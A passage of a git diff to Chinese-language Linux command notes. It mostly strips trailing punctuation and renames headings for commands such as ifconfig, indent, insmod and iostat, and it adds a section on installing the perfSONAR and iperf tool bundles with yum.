+media<网络媒介类型>:设置网络设备的媒介类型 +mem_start<内存地址>:设置网络设备在主内存所占用的起始地址 +metric<数目>:指定在计算数据包的转送次数时,所要加上的数目 +mtu<字节>:设置网络设备的MTU +netmask<子网掩码>:设置网络设备的子网掩码 +tunnel<地址>:建立IPv4与IPv6之间的隧道通信地址 +up:启动指定的网络设备 +-broadcast<地址>:将要送往指定地址的数据包当成广播数据包来处理 +-pointopoint<地址>:与指定地址的网络设备建立直接连线,此模式具有保密功能 +-promisc:关闭或启动指定网络设备的promiscuous模式 +IP地址:指定网络设备的IP地址 +网络设备:指定网络设备的名称 ``` @@ -35,17 +35,17 @@ IP地址:指定网络设备的IP地址; ```bash ifconfig # 显示网络设备信息(激活状态的) : << comment -**eth0** 表示第一块网卡,其中`HWaddr`表示网卡的物理地址,可以看到目前这个网卡的物理地址(MAC地址)是`00:16:3E:00:1E:51`。 +**eth0** 表示第一块网卡,其中`HWaddr`表示网卡的物理地址,可以看到目前这个网卡的物理地址(MAC地址)是`00:16:3E:00:1E:51` -**inet addr** 用来表示网卡的IP地址,此网卡的IP地址是`10.160.7.81`,广播地址`Bcast:10.160.15.255`,掩码地址`Mask:255.255.240.0`。 +**inet addr** 用来表示网卡的IP地址,此网卡的IP地址是`10.160.7.81`,广播地址`Bcast:10.160.15.255`,掩码地址`Mask:255.255.240.0` -**lo** 是表示主机的回坏地址,这个一般是用来测试一个网络程序,但又不想让局域网或外网的用户能够查看,只能在此台主机上运行和查看所用的网络接口。比如把 httpd服务器的指定到回坏地址,在浏览器输入127.0.0.1就能看到你所架WEB网站了。但只是您能看得到,局域网的其它主机或用户无从知道。 +**lo** 是表示主机的回坏地址,这个一般是用来测试一个网络程序,但又不想让局域网或外网的用户能够查看,只能在此台主机上运行和查看所用的网络接口。比如把 httpd服务器的指定到回坏地址,在浏览器输入127.0.0.1就能看到你所架WEB网站了。但只是您能看得到,局域网的其它主机或用户无从知道 -* 第一行:连接类型:Ethernet(以太网)HWaddr(硬件mac地址)。 -* 第二行:网卡的IP地址、子网、掩码。 -* 第三行:UP(代表网卡开启状态)RUNNING(代表网卡的网线被接上)MULTICAST(支持组播)MTU:1500(最大传输单元):1500字节。 -* 第四、五行:接收、发送数据包情况统计。 -* 第七行:接收、发送数据字节数统计信息。 +* 第一行:连接类型:Ethernet(以太网)HWaddr(硬件mac地址) +* 第二行:网卡的IP地址、子网、掩码 +* 第三行:UP(代表网卡开启状态)RUNNING(代表网卡的网线被接上)MULTICAST(支持组播)MTU:1500(最大传输单元):1500字节 +* 第四、五行:接收、发送数据包情况统计 +* 第七行:接收、发送数据字节数统计信息 comment # 获取IP地址 diff --git a/Linux_man_cn/ifdown.md b/Linux_man_cn/ifdown.md index 3f8b405..d638683 100644 --- a/Linux_man_cn/ifdown.md +++ b/Linux_man_cn/ifdown.md @@ -5,9 +5,9 @@ ifdown ## 说明 -**ifdown命令** 用于禁用指定的网络接口。 +**ifdown命令** 用于禁用指定的网络接口 -### 语法 +## 选项 ``` ifdown(参数) @@ -15,9 +15,9 @@ ifdown(参数) ### 参数 -网络接口:要禁用的网络接口。 +网络接口:要禁用的网络接口 -### 实例 +## 实例 ``` ifdown eth0 #禁用eth0 diff --git a/Linux_man_cn/ifstat.md b/Linux_man_cn/ifstat.md index 67cc0b3..cdb87a1 100644 --- a/Linux_man_cn/ifstat.md +++ b/Linux_man_cn/ifstat.md @@ -5,7 +5,7 @@ ifstat ## 说明 -**ifstat命令** 就像iostat/vmstat描述其它的系统状况一样,是一个统计网络接口活动状态的工具。ifstat工具系统中并不默认安装,需要自己下载源码包,重新编译安装,使用过程相对比较简单。 +**ifstat命令** 就像iostat/vmstat描述其它的系统状况一样,是一个统计网络接口活动状态的工具。ifstat工具系统中并不默认安装,需要自己下载源码包,重新编译安装,使用过程相对比较简单 ### 下载 @@ -29,7 +29,7 @@ make install # 默认会安装到/usr/local/bin/目录中 ``` --l 监测环路网络接口(lo)。缺省情况下,ifstat监测活动的所有非环路网络接口。经使用发现,加上-l参数能监测所有的网络接口的信息,而不是只监测 lo的接口信息,也就是说,加上-l参数比不加-l参数会多一个lo接口的状态信息。 +-l 监测环路网络接口(lo)。缺省情况下,ifstat监测活动的所有非环路网络接口。经使用发现,加上-l参数能监测所有的网络接口的信息,而不是只监测 lo的接口信息,也就是说,加上-l参数比不加-l参数会多一个lo接口的状态信息 -a 监测能检测到的所有网络接口的状态信息。使用发现,比加上-l参数还多一个plip0的接口信息,搜索一下发现这是并口(网络设备中有一 个叫PLIP (Parallel Line Internet Protocol). 它提供了并口...) -z 隐藏流量是无的接口,例如那些接口虽然启动了但是未用的 -i 指定要监测的接口,后面跟网络接口名 @@ -47,7 +47,7 @@ make install # 默认会安装到/usr/local/bin/目录中 -d 指定一个驱动来收集状态信息 ``` -### 实例 +## 实例 默认使用 @@ -59,7 +59,7 @@ make install # 默认会安装到/usr/local/bin/目录中 0.07 0.15 0.58 0.00 ``` -默认ifstat不监控回环接口,显示的流量单位是KB。 +默认ifstat不监控回环接口,显示的流量单位是KB ``` [root@localhost ifstat-1.1]# ifstat -tT diff --git a/Linux_man_cn/iftop.md b/Linux_man_cn/iftop.md index d04bda4..9ed1a73 100644 --- a/Linux_man_cn/iftop.md +++ b/Linux_man_cn/iftop.md @@ -2,7 +2,7 @@ ## 说明 -**iftop命令** 是一款实时流量监控工具,监控TCP/IP连接等,缺点就是无报表功能。必须以root身份才能运行。 +**iftop命令** 是一款实时流量监控工具,监控TCP/IP连接等,缺点就是无报表功能。必须以root身份才能运行 ## 选项 @@ -49,8 +49,8 @@ Synopsis: iftop -h | [-npblNBP] [-i interface] [-f filter code] * 连接列表,最后三列分别是2秒,10秒和40秒的平均流量 * `=>` 代表发送 * `<=` 代表接收 -* 最后三行表示发送,接收和全部的流量, -* 第二列为你运行iftop到目前流量,第三列为高峰值,第四列为平均值。 +* 最后三行表示发送,接收和全部的流量 +* 第二列为你运行iftop到目前流量,第三列为高峰值,第四列为平均值 ## 实例 diff --git a/Linux_man_cn/ifup.md b/Linux_man_cn/ifup.md index 8a75735..09e2a82 100644 --- a/Linux_man_cn/ifup.md +++ b/Linux_man_cn/ifup.md @@ -5,9 +5,9 @@ ifup ## 说明 -**ifup命令** 用于激活指定的网络接口。 +**ifup命令** 用于激活指定的网络接口 -### 语法 +## 选项 ``` ifup(参数) @@ -15,9 +15,9 @@ ifup(参数) ### 参数 -网络接口:要激活的网络接口。 +网络接口:要激活的网络接口 -### 实例 +## 实例 ``` ifup eth0 #激活eth0 diff --git a/Linux_man_cn/indent.md b/Linux_man_cn/indent.md index 3554953..7d3d1e5 100644 --- a/Linux_man_cn/indent.md +++ b/Linux_man_cn/indent.md @@ -5,9 +5,9 @@ indent ## 说明 -**indent命令** 可辨识C的原始代码文件,并加以格式化,以方便程序员阅读、修改等操作。 +**indent命令** 可辨识C的原始代码文件,并加以格式化,以方便程序员阅读、修改等操作 -### 语法 +## 选项 ``` indent(选项)(源文件) @@ -18,62 +18,62 @@ indent(选项)(源文件)(-o 目标文件) ``` --bad:在声明区加上空白行; --bap:添加空白行; --bbb:在注释后面添加空白行; --bc:在声明段中,如果出现逗号就换行; --bl:if(或是else、for等)与后面执行区段的“{”不同行,且“}”自成一行-bli<缩排格数>设置{}缩排的格数; --br:if(或是else、for等)与后面执行区段的“{”同行,且“}”自成一行; --bs:在sizeof之后空一格; --c<栏数>:将注释置于程序右侧指定的栏位; --cd<栏数>:将注释置于声明右侧指定的栏位; --cdb:注释符号自成一行; --ce:将else置于“}”(if执行区段的结尾)之后; --ci:<缩排格数>:叙述过长而换行时,指定换行后缩排的格数; --cli<缩排格数>:使用case时,switch缩排的格数; --cp<栏数>:将注释置于else与elseif叙述右侧指定的栏位; --cs:在case之后空一格; --d<缩排格数>:针对不是放在程序码右侧的注释,设置其缩排格数; --di<栏数>:将声明区段的变量置于指定的栏位; --fc1:针对放在每行最前端的注释,设置其格式; --fca:设置所有注释的格式; --gnu:使用指定的GNU格式,该参数为默认值; --i<格数>:设置缩排的格数; --ip<格数>:设置参数的缩排格数; --kr:指定使用Kernighan&Ritchie的格式; --lp:叙述过长而换行,且叙述中包含了括号时,将括号中的每行起始栏位内容垂直对其排列; --nbad:在声明区段后不要加上空白行; --nbap:在程序后面不添加空白行; --nbbb:在注释段后面不添加空白行; --nbc:在声明段中,即使出现逗号,也不换行; --ncdb:注释符号不自成一行; --nce:不将else置于“}”后面; --ncs:不在case后面空一格; --nfc1:不要格式化放在每行最前端的注释; --nfca:不用格式化任何的注释; --nip:参数不要缩排; --nlp:叙述过长而换行,且叙述中包含了括号时,不用将括号中的每行起始栏位垂直对其排列; --npcs:在调用函数名之后,不要添加空格; --npro:不要读取indent的配置文件“.indent.pro”; --npsl:程序类型与程序名称放在同一行; --nsc:注释左侧不要添加星号; --nsob:不用处理多余的空白行; --nss:若for或while区段仅有一行时,在分号前不加空格; --nv:不显示详细的信息; --orig:使用berkeley格式; --pcs:在调用函数名与“{”之间添加空格; --psl:程序类型置于程序名称的前一行; --sc:在每行注释左侧添加星号; --sob:删除多余的空白行; --ss:若for或swile区段仅有一行时,在分号前加上空格; --st:将结果显示在标准输出设备上; --T:数据类型名称缩排; --ts<格数>:设置tab的长度; --v:显示详细的执行过程; ---version:显示版本信息。 +-bad:在声明区加上空白行 +-bap:添加空白行 +-bbb:在注释后面添加空白行 +-bc:在声明段中,如果出现逗号就换行 +-bl:if(或是else、for等)与后面执行区段的“{”不同行,且“}”自成一行-bli<缩排格数>设置{}缩排的格数 +-br:if(或是else、for等)与后面执行区段的“{”同行,且“}”自成一行 +-bs:在sizeof之后空一格 +-c<栏数>:将注释置于程序右侧指定的栏位 +-cd<栏数>:将注释置于声明右侧指定的栏位 +-cdb:注释符号自成一行 +-ce:将else置于“}”(if执行区段的结尾)之后 +-ci:<缩排格数>:叙述过长而换行时,指定换行后缩排的格数 +-cli<缩排格数>:使用case时,switch缩排的格数 +-cp<栏数>:将注释置于else与elseif叙述右侧指定的栏位 +-cs:在case之后空一格 +-d<缩排格数>:针对不是放在程序码右侧的注释,设置其缩排格数 +-di<栏数>:将声明区段的变量置于指定的栏位 +-fc1:针对放在每行最前端的注释,设置其格式 +-fca:设置所有注释的格式 +-gnu:使用指定的GNU格式,该参数为默认值 +-i<格数>:设置缩排的格数 +-ip<格数>:设置参数的缩排格数 +-kr:指定使用Kernighan&Ritchie的格式 +-lp:叙述过长而换行,且叙述中包含了括号时,将括号中的每行起始栏位内容垂直对其排列 +-nbad:在声明区段后不要加上空白行 +-nbap:在程序后面不添加空白行 +-nbbb:在注释段后面不添加空白行 +-nbc:在声明段中,即使出现逗号,也不换行 +-ncdb:注释符号不自成一行 +-nce:不将else置于“}”后面 +-ncs:不在case后面空一格 +-nfc1:不要格式化放在每行最前端的注释 +-nfca:不用格式化任何的注释 +-nip:参数不要缩排 +-nlp:叙述过长而换行,且叙述中包含了括号时,不用将括号中的每行起始栏位垂直对其排列 +-npcs:在调用函数名之后,不要添加空格 +-npro:不要读取indent的配置文件“.indent.pro” +-npsl:程序类型与程序名称放在同一行 +-nsc:注释左侧不要添加星号 +-nsob:不用处理多余的空白行 +-nss:若for或while区段仅有一行时,在分号前不加空格 +-nv:不显示详细的信息 +-orig:使用berkeley格式 +-pcs:在调用函数名与“{”之间添加空格 +-psl:程序类型置于程序名称的前一行 +-sc:在每行注释左侧添加星号 +-sob:删除多余的空白行 +-ss:若for或swile区段仅有一行时,在分号前加上空格 +-st:将结果显示在标准输出设备上 +-T:数据类型名称缩排 +-ts<格数>:设置tab的长度 +-v:显示详细的执行过程 +--version:显示版本信息 ``` -### 实例 +## 实例 使用indent命令将C语言源文件"test.c"中所有的sizeof后面添加一个空格,输入如下命令: @@ -81,6 +81,6 @@ indent(选项)(源文件)(-o 目标文件) indent -bs /home/rootlocal/桌面/test.c ``` -执行上面的命令后,用户可以打开指定的源文件查看在sizeof后面是否都添加了一个空格。由于该命令的参数非常多,所以用户可以根据实际需要选择适合的参数进行使用即可。 +执行上面的命令后,用户可以打开指定的源文件查看在sizeof后面是否都添加了一个空格。由于该命令的参数非常多,所以用户可以根据实际需要选择适合的参数进行使用即可 diff --git a/Linux_man_cn/info.md b/Linux_man_cn/info.md index 1b5ef3f..478f7ea 100644 --- a/Linux_man_cn/info.md +++ b/Linux_man_cn/info.md @@ -6,15 +6,15 @@ 用起来确实要更容易得多。一个man page只有一页,而info页面几乎总是将它们的内容组织成多个区段(称为节点),每个区段也可能包 含子区段(称为子节点)。理解这个命令的窍门就是不仅要学习如何在单独的Info页面中浏览导航,还要学习如何在节点和子节点之间切 换。可能刚开始会一时很难在info页面的节点之间移动和找到你要的东西,真是具有讽刺意味:原本以为对于新手来说,某个东西比man命 -令会更好些,但实际上学习和使用起来更困难。 +令会更好些,但实际上学习和使用起来更困难 ## 选项 ```markdown --d:添加包含info格式帮助文档的目录; --f:指定要读取的info格式的帮助文档; --n:指定首先访问的info帮助文件的节点; --o:输出被选择的节点内容到指定文件。 +-d:添加包含info格式帮助文档的目录 +-f:指定要读取的info格式的帮助文档 +-n:指定首先访问的info帮助文件的节点 +-o:输出被选择的节点内容到指定文件 info [OPTION]... [MENU-ITEM...] @@ -65,16 +65,16 @@ Examples: 它的几个常用快捷键: ```markdown - **?键:** 它就会显示info的常用快捷键。 - **N键:** 显示(相对于本节点的)下一节点的文档内容。 - **P键:** 显示(相对于本节点的)前一节点的文档内容。 - **U键:** 进入当前命令所在的主题。 - **M键:** 敲M键后输入命令的名称就可以查看该命令的帮助文档了。 - **G键:** 敲G键后输入主题名称,进入该主题。 - **L键:** 回到上一个访问的页面。 - **SPACE键:** 向前滚动一页。 - **BACKUP或DEL键:** 向后滚动一页。 - **Q:** 退出info。 + **?键:** 它就会显示info的常用快捷键 + **N键:** 显示(相对于本节点的)下一节点的文档内容 + **P键:** 显示(相对于本节点的)前一节点的文档内容 + **U键:** 进入当前命令所在的主题 + **M键:** 敲M键后输入命令的名称就可以查看该命令的帮助文档了 + **G键:** 敲G键后输入主题名称,进入该主题 + **L键:** 回到上一个访问的页面 + **SPACE键:** 向前滚动一页 + **BACKUP或DEL键:** 向后滚动一页 + **Q:** 退出info ``` **命令** diff --git a/Linux_man_cn/init.md b/Linux_man_cn/init.md index 12b1540..5f48cca 100644 --- a/Linux_man_cn/init.md +++ b/Linux_man_cn/init.md @@ -5,9 +5,9 @@ init进程是所有Linux进程的父进程 ## 说明 -**init命令** 是Linux下的进程初始化工具,init进程是所有Linux进程的父进程,它的进程号为1。init命令是Linux操作系统中不可缺少的程序之一,init进程是Linux内核引导运行的,是系统中的第一个进程。 +**init命令** 是Linux下的进程初始化工具,init进程是所有Linux进程的父进程,它的进程号为1。init命令是Linux操作系统中不可缺少的程序之一,init进程是Linux内核引导运行的,是系统中的第一个进程 -### 语法 +## 选项 ``` init(选项)(参数) @@ -16,15 +16,15 @@ init(选项)(参数) ``` --b:不执行相关脚本而直接进入单用户模式; --s:切换到单用户模式。 +-b:不执行相关脚本而直接进入单用户模式 +-s:切换到单用户模式 ``` ### 参数 -运行等级:指定Linux系统要切换到的运行等级。 +运行等级:指定Linux系统要切换到的运行等级 -### 实例 +## 实例 几个常用的命令 @@ -34,7 +34,7 @@ init(选项)(参数) **运行级别** -到底什么是运行级呢?简单的说,运行级就是操作系统当前正在运行的功能级别。这个级别从0到6 ,具有不同的功能。你也可以在`/etc/inittab`中查看它的英文介绍。 +到底什么是运行级呢?简单的说,运行级就是操作系统当前正在运行的功能级别。这个级别从0到6 ,具有不同的功能。你也可以在`/etc/inittab`中查看它的英文介绍 ``` #0 停机(千万不能把initdefault 设置为0) diff --git a/Linux_man_cn/inotifywait.md b/Linux_man_cn/inotifywait.md index 2802728..ca80250 100644 --- a/Linux_man_cn/inotifywait.md +++ b/Linux_man_cn/inotifywait.md @@ -5,18 +5,18 @@ inotifywait ## 说明 -**Inotify** 一种强大的、细粒度的、异步文件系统监控机制,它满足各种各样的文件监控需要,可以监控文件系统的访问属性、读写属性、权限属性、删除创建、移动等操作,也就是可以监控文件发生的一切变化。。 +**Inotify** 一种强大的、细粒度的、异步文件系统监控机制,它满足各种各样的文件监控需要,可以监控文件系统的访问属性、读写属性、权限属性、删除创建、移动等操作,也就是可以监控文件发生的一切变化。 **inotify-tools** 是一个C库和一组命令行的工作提供Linux下inotify的简单接口。inotify-tools安装后会得到`inotifywait`和`inotifywatch`这两条命令: -* **inotifywait命令** 可以用来收集有关文件访问信息,Linux发行版一般没有包括这个命令,需要安装inotify-tools,这个命令还需要将inotify支持编译入Linux内核,好在大多数Linux发行版都在内核中启用了inotify。 -* **inotifywatch命令** 用于收集关于被监视的文件系统的统计数据,包括每个 inotify 事件发生多少次。 +* **inotifywait命令** 可以用来收集有关文件访问信息,Linux发行版一般没有包括这个命令,需要安装inotify-tools,这个命令还需要将inotify支持编译入Linux内核,好在大多数Linux发行版都在内核中启用了inotify +* **inotifywatch命令** 用于收集关于被监视的文件系统的统计数据,包括每个 inotify 事件发生多少次 开始之前需要检测系统内核是否支持inotify: -使用`uname -r`命令检查Linux内核,如果低于2.6.13,就需要重新编译内核加入inotify的支持。 +使用`uname -r`命令检查Linux内核,如果低于2.6.13,就需要重新编译内核加入inotify的支持 -使用`ll /proc/sys/fs/inotify`命令,是否有以下三条信息输出,如果没有表示不支持。 +使用`ll /proc/sys/fs/inotify`命令,是否有以下三条信息输出,如果没有表示不支持 ``` ll /proc/sys/fs/inotify @@ -47,9 +47,9 @@ make install inotify定义了下列的接口参数,可以用来限制inotify消耗kernel memory的大小。由于这些参数都是内存参数,因此,可以根据应用需求,实时的调节其大小: -* `/proc/sys/fs/inotify/max_queued_evnets`表示调用inotify_init时分配给inotify instance中可排队的event的数目的最大值,超出这个值的事件被丢弃,但会触发IN_Q_OVERFLOW事件。 -* `/proc/sys/fs/inotify/max_user_instances`表示每一个real user id可创建的inotify instatnces的数量上限。 -* `/proc/sys/fs/inotify/max_user_watches`表示每个inotify instatnces可监控的最大目录数量。如果监控的文件数目巨大,需要根据情况,适当增加此值的大小。 +* `/proc/sys/fs/inotify/max_queued_evnets`表示调用inotify_init时分配给inotify instance中可排队的event的数目的最大值,超出这个值的事件被丢弃,但会触发IN_Q_OVERFLOW事件 +* `/proc/sys/fs/inotify/max_user_instances`表示每一个real user id可创建的inotify instatnces的数量上限 +* `/proc/sys/fs/inotify/max_user_watches`表示每个inotify instatnces可监控的最大目录数量。如果监控的文件数目巨大,需要根据情况,适当增加此值的大小 根据以上在32位或者64位系统都可以执行: @@ -101,12 +101,12 @@ path=$1 ### inotifywait命令参数 -* `-m`是要持续监视变化。 -* `-r`使用递归形式监视目录。 -* `-q`减少冗余信息,只打印出需要的信息。 -* `-e`指定要监视的事件列表。 -* `--timefmt`是指定时间的输出格式。 -* `--format`指定文件变化的详细信息。 +* `-m`是要持续监视变化 +* `-r`使用递归形式监视目录 +* `-q`减少冗余信息,只打印出需要的信息 +* `-e`指定要监视的事件列表 +* `--timefmt`是指定时间的输出格式 +* `--format`指定文件变化的详细信息 #### 可监听的事件 diff --git a/Linux_man_cn/insmod.md b/Linux_man_cn/insmod.md index 6efd0c8..25f1ad4 100644 --- a/Linux_man_cn/insmod.md +++ b/Linux_man_cn/insmod.md @@ -5,9 +5,9 @@ insmod ## 说明 -**insmod命令** 用于将给定的模块加载到内核中。Linux有许多功能是通过模块的方式,在需要时才载入kernel。如此可使kernel较为精简,进而提高效率,以及保有较大的弹性。这类可载入的模块,通常是设备驱动程序。 +**insmod命令** 用于将给定的模块加载到内核中。Linux有许多功能是通过模块的方式,在需要时才载入kernel。如此可使kernel较为精简,进而提高效率,以及保有较大的弹性。这类可载入的模块,通常是设备驱动程序 -### 语法 +## 选项 ``` insmod(选项)(参数) @@ -16,22 +16,22 @@ insmod(选项)(参数) ``` --f:不检查目前kernel版本与模块编译时的kernel版本是否一致,强制将模块载入; --k:将模块设置为自动卸除; --m:输出模块的载入信息; --o<模块名称>:指定模块的名称,可使用模块文件的文件名; --p:测试模块是否能正确地载入kernel; --s:将所有信息记录在系统记录文件中; --v:执行时显示详细的信息; --x:不要汇出模块的外部符号; --X:汇出模块所有的外部符号,此为预设置。 +-f:不检查目前kernel版本与模块编译时的kernel版本是否一致,强制将模块载入 +-k:将模块设置为自动卸除 +-m:输出模块的载入信息 +-o<模块名称>:指定模块的名称,可使用模块文件的文件名 +-p:测试模块是否能正确地载入kernel +-s:将所有信息记录在系统记录文件中 +-v:执行时显示详细的信息 +-x:不要汇出模块的外部符号 +-X:汇出模块所有的外部符号,此为预设置 ``` ### 参数 -内核模块:指定要加载的内核模块文件。 +内核模块:指定要加载的内核模块文件 -### 实例 +## 实例 加载RAID1阵列级别模块,如下所示: @@ -43,6 +43,6 @@ insmod(选项)(参数) raid1 25153 0 ``` -从以上显示结果可知,RAID1模块已加载成功。只是在使用insmod命令加载模块时,需要使用绝对路径方能加载,且加载时无法自动解决依赖关系。 +从以上显示结果可知,RAID1模块已加载成功。只是在使用insmod命令加载模块时,需要使用绝对路径方能加载,且加载时无法自动解决依赖关系 diff --git a/Linux_man_cn/iostat.md b/Linux_man_cn/iostat.md index c4e4f08..d0f7a82 100644 --- a/Linux_man_cn/iostat.md +++ b/Linux_man_cn/iostat.md @@ -3,7 +3,7 @@ ## 说明 **iostat命令** 被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况,同时也会汇报出CPU使用情况 -同vmstat一样,iostat也有一个弱点,就是它不能对某个进程进行深入分析,仅对系统的整体情况进行分析。 +同vmstat一样,iostat也有一个弱点,就是它不能对某个进程进行深入分析,仅对系统的整体情况进行分析 [源码](http://github.com/sysstat/sysstat) ## 选项 @@ -33,11 +33,11 @@ iostat -d -x -k 1 1 # 查看设备使用率(%util)和响应时间(await) : << comment 输出说明: -%iowait的值过高,表示硬盘存在I/O瓶颈。 -%util 接近100%,说明产生的I/O请求太多,I/O系统已经满负荷,该磁盘可能存在瓶颈。 -svctm 比较接近 await,说明 I/O 几乎没有等待时间; -await 远大于 svctm,说明I/O 队列太长,io响应太慢,则需要进行必要优化。 -avgqu-sz比较大,也表示有大量io在等待。 +%iowait的值过高,表示硬盘存在I/O瓶颈 +%util 接近100%,说明产生的I/O请求太多,I/O系统已经满负荷,该磁盘可能存在瓶颈 +svctm 比较接近 await,说明 I/O 几乎没有等待时间 +await 远大于 svctm,说明I/O 队列太长,io响应太慢,则需要进行必要优化 +avgqu-sz比较大,也表示有大量io在等待 idble小于70%,I/O负荷过大,进程读取有过多的等待,用vmstat查看b参数(等待资源的进程数)和wa参数(I/O等待所占用的CPU时间 百分比,高于30%说明I/O压力较高) comment diff --git a/Linux_man_cn/iotop.md b/Linux_man_cn/iotop.md index 05f8c0e..6151d15 100644 --- a/Linux_man_cn/iotop.md +++ b/Linux_man_cn/iotop.md @@ -22,20 +22,20 @@ python setup.py install ```markdown -o:只显示有io操作的进程 --b:批量显示,无交互,主要用作记录到文件。 --n NUM:显示NUM次,主要用于非交互式模式。 --d SEC:间隔SEC秒显示一次。 --p PID:监控的进程pid。 --u USER:监控的进程用户。 +-b:批量显示,无交互,主要用作记录到文件 +-n NUM:显示NUM次,主要用于非交互式模式 +-d SEC:间隔SEC秒显示一次 +-p PID:监控的进程pid +-u USER:监控的进程用户 iotop常用快捷键: -1. 左右箭头:改变排序方式,默认是按IO排序。 -2. r:改变排序顺序。 -3. o:只显示有IO输出的进程。 -4. p:进程/线程的显示方式的切换。 -5. a:显示累积使用量。 -6. q:退出。 +1. 左右箭头:改变排序方式,默认是按IO排序 +2. r:改变排序顺序 +3. o:只显示有IO输出的进程 +4. p:进程/线程的显示方式的切换 +5. a:显示累积使用量 +6. q:退出 ``` ## 实例 diff --git a/Linux_man_cn/ipcalc.md b/Linux_man_cn/ipcalc.md index 19f08a9..93d4449 100644 --- a/Linux_man_cn/ipcalc.md +++ b/Linux_man_cn/ipcalc.md @@ -5,9 +5,9 @@ ipcalc ## 说明 -**ipcalc命令** 是一个简单的ip地址计算器,可以完成简单的IP地址计算任务。 +**ipcalc命令** 是一个简单的ip地址计算器,可以完成简单的IP地址计算任务 -### 语法 +## 选项 ``` ipcalc(选项) @@ -16,16 +16,16 @@ ipcalc(选项) ``` --b:由给定的IP地址和网络掩码计算出广播地址; --h:显示给定UP地址所对应的主机名; --m:由给定的IP地址计算器网络掩码; --p:显示给定的掩码或IP地址的前缀; --n:由给定的IP地址和网络掩码计算网络地址; --s:安静模式; ---help:显示帮助信息。 +-b:由给定的IP地址和网络掩码计算出广播地址 +-h:显示给定UP地址所对应的主机名 +-m:由给定的IP地址计算器网络掩码 +-p:显示给定的掩码或IP地址的前缀 +-n:由给定的IP地址和网络掩码计算网络地址 +-s:安静模式 +--help:显示帮助信息 ``` -### 实例 +## 实例 ``` [root@localhost ~]# ipcalc -p 192.168.2.1 255.255.255.0 diff --git a/Linux_man_cn/ipcrm.md b/Linux_man_cn/ipcrm.md index 81e2a49..7a64a15 100644 --- a/Linux_man_cn/ipcrm.md +++ b/Linux_man_cn/ipcrm.md @@ -5,9 +5,9 @@ ipcrm ## 说明 -**ipcrm命令** 用来删除一个或更多的消息队列、信号量集或者共享内存标识。 +**ipcrm命令** 用来删除一个或更多的消息队列、信号量集或者共享内存标识 -### 语法 +## 选项 ``` ipcrm [ -m SharedMemoryID ] [ -M SharedMemoryKey ] [ -q MessageID ] [ -Q MessageKey ] [ -s SemaphoreID ] [ -S SemaphoreKey ] @@ -16,15 +16,15 @@ ipcrm [ -m SharedMemoryID ] [ -M SharedMemoryKey ] [ -q MessageID ] [ -Q Message ``` --m SharedMemory id 删除共享内存标识 SharedMemoryID。与 SharedMemoryID 有关联的共享内存段以及数据结构都会在最后一次拆离操作后删除。 --M SharedMemoryKey 删除用关键字 SharedMemoryKey 创建的共享内存标识。与其相关的共享内存段和数据结构段都将在最后一次拆离操作后删除。 --q MessageID 删除消息队列标识 MessageID 和与其相关的消息队列和数据结构。 --Q MessageKey 删除由关键字 MessageKey 创建的消息队列标识和与其相关的消息队列和数据结构。 --s SemaphoreID 删除信号量标识 SemaphoreID 和与其相关的信号量集及数据结构。 --S SemaphoreKey 删除由关键字 SemaphoreKey 创建的信号标识和与其相关的信号量集和数据结构。 +-m SharedMemory id 删除共享内存标识 SharedMemoryID。与 SharedMemoryID 有关联的共享内存段以及数据结构都会在最后一次拆离操作后删除 +-M SharedMemoryKey 删除用关键字 SharedMemoryKey 创建的共享内存标识。与其相关的共享内存段和数据结构段都将在最后一次拆离操作后删除 +-q MessageID 删除消息队列标识 MessageID 和与其相关的消息队列和数据结构 +-Q MessageKey 删除由关键字 MessageKey 创建的消息队列标识和与其相关的消息队列和数据结构 +-s SemaphoreID 删除信号量标识 SemaphoreID 和与其相关的信号量集及数据结构 +-S SemaphoreKey 删除由关键字 SemaphoreKey 创建的信号标识和与其相关的信号量集和数据结构 ``` -msgctl、shmctl 和 semctl 子例程提供了删除操作的细节。标识和关键字可以用 ipcs 命令找到。 +msgctl、shmctl 和 semctl 子例程提供了删除操作的细节。标识和关键字可以用 ipcs 命令找到 ### 示例 diff --git a/Linux_man_cn/ipcs.md b/Linux_man_cn/ipcs.md index 1ecfd84..a4d6568 100644 --- a/Linux_man_cn/ipcs.md +++ b/Linux_man_cn/ipcs.md @@ -2,7 +2,7 @@ ## 说明 -**ipcs命令**分析消息队列共享内存和信号量,用于报告Linux中进程间通信设施的状态,显示的信息包括消息列表、共享内存和信号量的信息。 +**ipcs命令**分析消息队列共享内存和信号量,用于报告Linux中进程间通信设施的状态,显示的信息包括消息列表、共享内存和信号量的信息 ## 选项 diff --git a/Linux_man_cn/iperf.md b/Linux_man_cn/iperf.md index 7b45f47..8e6ba6c 100644 --- a/Linux_man_cn/iperf.md +++ b/Linux_man_cn/iperf.md @@ -2,7 +2,7 @@ ## 说明 -iperf可以测试TCP和UDP带宽质量。iperf可以测量最大TCP带宽,具有多种参数和UDP特性。iperf可以报告带宽,延迟抖动和数据包丢失。 +iperf可以测试TCP和UDP带宽质量。iperf可以测量最大TCP带宽,具有多种参数和UDP特性。iperf可以报告带宽,延迟抖动和数据包丢失 利用iperf这一特性,可以用来测试一些网络设备如路由器,防火墙,交换机等的性能 * [iperf3 github](https://github.com/esnet/iperf) @@ -10,23 +10,63 @@ iperf可以测试TCP和UDP带宽质量。iperf可以测量最大TCP带宽,具 * [public iperf3 server地址](https://iperf.fr) * [internet2](http://software.internet2.edu) +## 各安装包区别 + +![figure](http://docs.perfsonar.net/_images/install_options-bundle_tree.png) + +```bash +# 通过perfSONAR安装,最好设置tcp拥塞算法为net.ipv4.tcp_congestion_control = htcp +yum install -y http://software.internet2.edu/rpms/el7/x86_64/latest/packages/perfSONAR-repo-0.9-1.noarch.rpm +yum install -y perfsonar-tools # 仅包含运行按需测量所需的命令行客户端,owamp twamp nuttcp iperf3 iperf + +: << comment +包括perfsonar-tools包中的所有内容以及以下所需的软件: +* 定期自动运行测试 +* 参与集中管理的测试 +* 发布测量节点的存在 +comment +yum install -y perfsonar-testpoint + +: << comment +perfsonar-core bundle install包括perfsonar-testpoint bundle install中的所有内容以及用于存储结果的esmond测量存档。这对于希望在 +本地存储结果但不希望安装perfSONAR Toolkit的专用测量主机来说非常理想。换句话说,他们不想使用Web界面,并希望灵活地选择默认安全性和调整设置 +comment +yum install -y perfsonar-core + +: << comment +包含perfsonar-core bundle中的所有内容: +用于管理测试的Web界面 +脚本用于应用系统范围的默认调整和安全设置 +此捆绑包适用于那些希望安装perfSONAR Toolkit ISO中包含的全套工具但在现有Linux系统上的工具包 +comment +yum install -y perfsonar-toolkit + +: << comment 